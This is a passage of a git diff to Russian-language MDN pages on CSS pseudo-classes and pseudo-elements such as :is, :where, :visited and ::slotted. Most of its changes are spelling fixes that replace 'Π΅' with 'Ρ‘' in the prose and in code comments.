-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΅Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΊΠ°ΠΊΒ <code>:matches()</code>, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΊΠ°ΠΊ Π±ΠΎΠ»Π΅Π΅ старый, прСфиксный псСвдокласс — <code>:any()</code>, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ старыС вСрсии Chrome, Firefox, ΠΈ Safari. <code>:any()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠ°ΠΊ ΠΈΒ <code>:matches()</code>/<code>:is()</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΒ  <code>:any()</code>Β Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ постановку прСфиксов ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <a href="/ru/docs/Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹">комплСксныС сСлСкторы</a>.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΅Ρ‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΊΠ°ΠΊΒ <code>:matches()</code>, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΊΠ°ΠΊ Π±ΠΎΠ»Π΅Π΅ старый, прСфиксный псСвдокласс — <code>:any()</code>, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ старыС вСрсии Chrome, Firefox, ΠΈ Safari. <code>:any()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠ°ΠΊ ΠΈΒ <code>:matches()</code>/<code>:is()</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΒ  <code>:any()</code>Β Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ постановку прСфиксов ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <a href="/ru/docs/Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹">комплСксныС сСлСкторы</a>.</p>
<pre class="brush: css no-line-numbers notranslate">/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π°Π±Π·Π°Ρ† Π² шапкС, основной части ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π²Π°Π»Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ зависал */
:is(header, main, footer) p:hover {
@@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:is'
Β  cursor: pointer;
}
-/* ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ эквивалСнтСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ */
+/* ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ эквивалСнтСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ */
header p:hover,
main p:hover,
footer p:hover {
diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html
index 88f406851d..8a9fcbb9b2 100644
--- a/files/ru/web/css/_colon_left/index.html
+++ b/files/ru/web/css/_colon_left/index.html
@@ -2,7 +2,7 @@
title: ':left'
slug: 'Web/CSS/:left'
tags:
- - ВСрстка
+ - Вёрстка
- ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹
translation_of: 'Web/CSS/:left'
---
diff --git a/files/ru/web/css/_colon_target/index.html b/files/ru/web/css/_colon_target/index.html
index 46d0f88746..d3f5c5a0ef 100644
--- a/files/ru/web/css/_colon_target/index.html
+++ b/files/ru/web/css/_colon_target/index.html
@@ -2,7 +2,7 @@
title: ':target'
slug: 'Web/CSS/:target'
tags:
- - ВСрстка
+ - Вёрстка
- ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹
translation_of: 'Web/CSS/:target'
---
@@ -153,7 +153,7 @@ p:target i {
cursor: pointer;
}
-/* ΠžΠ±Π΅Ρ€Ρ‚ΠΊΠ° lightbox */
+/* ΠžΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° lightbox */
.lightbox .close::before {
left: 0;
top: 0;
diff --git a/files/ru/web/css/_colon_visited/index.html b/files/ru/web/css/_colon_visited/index.html
index f4288a183b..c1b516e912 100644
--- a/files/ru/web/css/_colon_visited/index.html
+++ b/files/ru/web/css/_colon_visited/index.html
@@ -12,9 +12,9 @@ translation_of: 'Web/CSS/:visited'
<p>CSS <a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="Pseudo-classes">псСвдокласс</a> <code>:visited</code> позволяСт Π²Π°ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ посСщСны. Π­Ρ‚ΠΎΡ‚ ΡΡ‚ΠΈΠ»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ относящимися ΠΊ ссылкам псСвдоклассами, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊΒ {{ cssxref(":link") }}, {{ cssxref(":hover") }} ΠΈ {{ cssxref(":active") }}, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΠΈΡΡ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ порядкС. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ссылки Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΒ <code>:visited</code> Π΄ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°Β <code>:link</code>, Π½ΠΎ послС Π΄Ρ€ΡƒΠ³ΠΈΡ…, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…Β <em>LVHA-порядком</em>: <code>:link</code> β€” <code>:visited</code> β€” <code>:hover</code> β€” <code>:active</code>.</p>
<div class="note style-wrap">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Из-Π·Π°Β ΠΏΡ€ΠΈΡ‡ΠΈΠ½ приватности, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ строго ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‚ стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊ элСмСнту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот псСвдокласс: Ρ‚ΠΎΠ»ΡŒΠΊΠΎ {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code>Β ΠΈΒ <code>stroke</code>. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π» Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ: Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для нСпосвящСнных ссылок вмСсто Π½Π΅Π³ΠΎΒ (Π½ΠΎ Ссли ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ -Β <code>0</code>, Ρ‚ΠΎ Π² этот случаС игнорируСтся вСсь Ρ†Π²Π΅Ρ‚, ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… стилСй для нСпосвящСнных ссылок).</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Из-Π·Π°Β ΠΏΡ€ΠΈΡ‡ΠΈΠ½ приватности, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ строго ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‚ стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊ элСмСнту, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ этот псСвдокласс: Ρ‚ΠΎΠ»ΡŒΠΊΠΎ {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("outline-color") }}, {{ cssxref("column-rule-color") }}, <code>fill</code>Β ΠΈΒ <code>stroke</code>. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅, Ρ‡Ρ‚ΠΎ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π» Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ: Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для нСпосвящённых ссылок вмСсто Π½Π΅Π³ΠΎΒ (Π½ΠΎ Ссли ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ -Β <code>0</code>, Ρ‚ΠΎ Π² этот случаС игнорируСтся вСсь Ρ†Π²Π΅Ρ‚, ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… стилСй для нСпосвящённых ссылок).</p>
-<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getComputedStyle</code>Β Π½Π°Π²Ρ€Ρ‘Ρ‚ ΠΈ всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π°Π²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° нСпосвящСнных ссылок.</p>
+<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getComputedStyle</code>Β Π½Π°Π²Ρ€Ρ‘Ρ‚ ΠΈ всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π°Π²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° нСпосвящённых ссылок.</p>
<p>Для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ограничСниях ΠΈ ΠΈΡ… ΠΏΡ€ΠΈΡ‡ΠΈΠ½, смотритС <a href="/ru/docs/CSS/Privacy_and_the_:visited_selector" title="/ru/docs/CSS/Privacy_and_the_:visited_selector">ΠŸΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΡΡ‚ΡŒ ΠΈ сСлСктор :visited</a>.</p>
</div>
diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html
index 3eb34a7c0e..5a7b922577 100644
--- a/files/ru/web/css/_colon_where/index.html
+++ b/files/ru/web/css/_colon_where/index.html
@@ -14,13 +14,13 @@ translation_of: 'Web/CSS/:where'
<div></div>
<pre class="brush: css notranslate"><code>/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ Π²Π½ΡƒΡ‚Ρ€ΠΈ header, main
- ΠΈΠ»ΠΈ footer Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Π²Π΅Π΄Π΅Π½ курсор ΠΌΡ‹ΡˆΠΈ */
+ ΠΈΠ»ΠΈ footer Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Π²Π΅Π΄Ρ‘Π½ курсор ΠΌΡ‹ΡˆΠΈ */
:where(header, main, footer) p:hover {
color: red;
cursor: pointer;
}
-/* ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ эквивалСнтСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ */
+/* ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ эквивалСнтСн ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ */
header p:hover,
main p:hover,
footer p:hover {
@@ -54,7 +54,7 @@ footer p:hover {
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ показываСтся ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <code>:where()</code>, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ дСмонстрируСтся Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ <code>:where()</code> ΠΈ <code>:is()</code>.</p>
-<p>Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ HTML-ΠΊΠΎΠ΄:</p>
+<p>Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ HTML-ΠΊΠΎΠ΄:</p>
<pre class="brush: html notranslate">&lt;article&gt;
&lt;h2&gt;:is()-styled links&lt;/h2&gt;
@@ -109,7 +109,7 @@ footer p:hover {
color: blue;
}</pre>
-<p>Π­Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ для ссылок красного Ρ†Π²Π΅Ρ‚Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сСлСкторов Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>:is()</code> Π²Ρ‹ΡˆΠ΅, Ρ‡Π΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сСлСктора Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ классов ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΜΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ сСлСктор элСмСнта.</p>
+<p>Π­Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ для ссылок красного Ρ†Π²Π΅Ρ‚Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сСлСкторов Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>:is()</code> Π²Ρ‹ΡˆΠ΅, Ρ‡Π΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сСлСктора Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ классов ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΜΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ сСлСктор элСмСнта.</p>
<p>Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ, сСлСкторы пСрСчислСнныС Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>:where()</code> ΠΈΠΌΠ΅ΡŽΡ‚ Π½ΡƒΠ»Π΅Π²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, поэтому оранТСвая ссылка Π² Ρ„ΡƒΡ‚Π΅Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° простым сСлСктором ΠΈ станСт синСго Ρ†Π²Π΅Ρ‚Π°.</p>
diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
index 635676abae..a23502ee59 100644
--- a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
+++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html
@@ -18,7 +18,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar'
<h3 id="HTML">HTML</h3>
<pre class="brush:html;">&lt;progress value="30" max="100"&gt;30%&lt;/progress&gt;
-&lt;progress max="100"&gt;НСопрСдСлСнный Π±Π°Ρ€ прогрСсса&lt;/progress&gt;</pre>
+&lt;progress max="100"&gt;НСопрСдСлённый Π±Π°Ρ€ прогрСсса&lt;/progress&gt;</pre>
<h3 id="CSS">CSS</h3>
@@ -26,7 +26,7 @@ translation_of: 'Web/CSS/::-moz-progress-bar'
background-color: red;
}
-/* Π—Π°Π΄Π°Π΅Ρ‚ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π±Π°Ρ€Π°ΠΌ Π½ΡƒΠ»Π΅Π²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ */
+/* Π—Π°Π΄Π°Ρ‘Ρ‚ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π±Π°Ρ€Π°ΠΌ Π½ΡƒΠ»Π΅Π²ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ */
:indeterminate::-moz-progress-bar {
width: 0;
}</pre>
diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html
index d0663700f2..34e36b8578 100644
--- a/files/ru/web/css/_doublecolon_slotted/index.html
+++ b/files/ru/web/css/_doublecolon_slotted/index.html
@@ -5,16 +5,16 @@ translation_of: 'Web/CSS/::slotted'
---
<div>{{ CSSRef }}</div>
-<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псСвдо-элСмСнт</a> <strong><code>::slotted()</code></strong> прСдставляСт собой любой элСмСнт, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² слот Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML-шаблона (Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация Π² <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p>
+<p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">псСвдо-элСмСнт</a> <strong><code>::slotted()</code></strong> прСдставляСт собой любой элСмСнт, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² слот Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML-шаблона (Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация Π² <a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a>).</p>
-<p>Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ использовании Π²Π½ΡƒΡ‚Ρ€ΠΈ CSS, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ Π² <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ этот сСлСктор Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкстовый ΡƒΠ·Π΅Π», ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² слот; ΠΎΠ½ Π½Π°Ρ†Π΅Π»Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° фактичСскиС элСмСнты.</p>
+<p>Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ использовании Π²Π½ΡƒΡ‚Ρ€ΠΈ CSS, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ этот сСлСктор Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкстовый ΡƒΠ·Π΅Π», ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² слот; ΠΎΠ½ Π½Π°Ρ†Π΅Π»Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° фактичСскиС элСмСнты.</p>
-<pre class="brush: css no-line-numbers notranslate">/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой элСмСнт, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² слот */
+<pre class="brush: css no-line-numbers notranslate">/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой элСмСнт, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² слот */
::slotted(*) {
Β  font-weight: bold;
}
-/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ &lt;span&gt;, ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π² слот */
+/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ &lt;span&gt;, ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π² слот */
::slotted(span) {
Β  font-weight: bold;
}
@@ -64,7 +64,7 @@ translation_of: 'Web/CSS/::slotted'
}
})</pre>
-<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ элСмСнта <code>style</code> содСрТимым ΠΌΡ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ всС  slotted-элСмСнты (<code>::slotted(*)</code>) ΠΈ Π·Π°Π΄Π°Π΅ΠΌ ΠΈΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚. Π­Ρ‚ΠΎ позволяСт ΠΈΠΌ Π»ΡƒΡ‡ΡˆΠ΅ Π²Ρ‹Π΄Π΅Π»ΡΡ‚ΡŒΡΡ рядом с Ρ‚Π΅ΠΌΠΈ слотами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Ρ‹.</p>
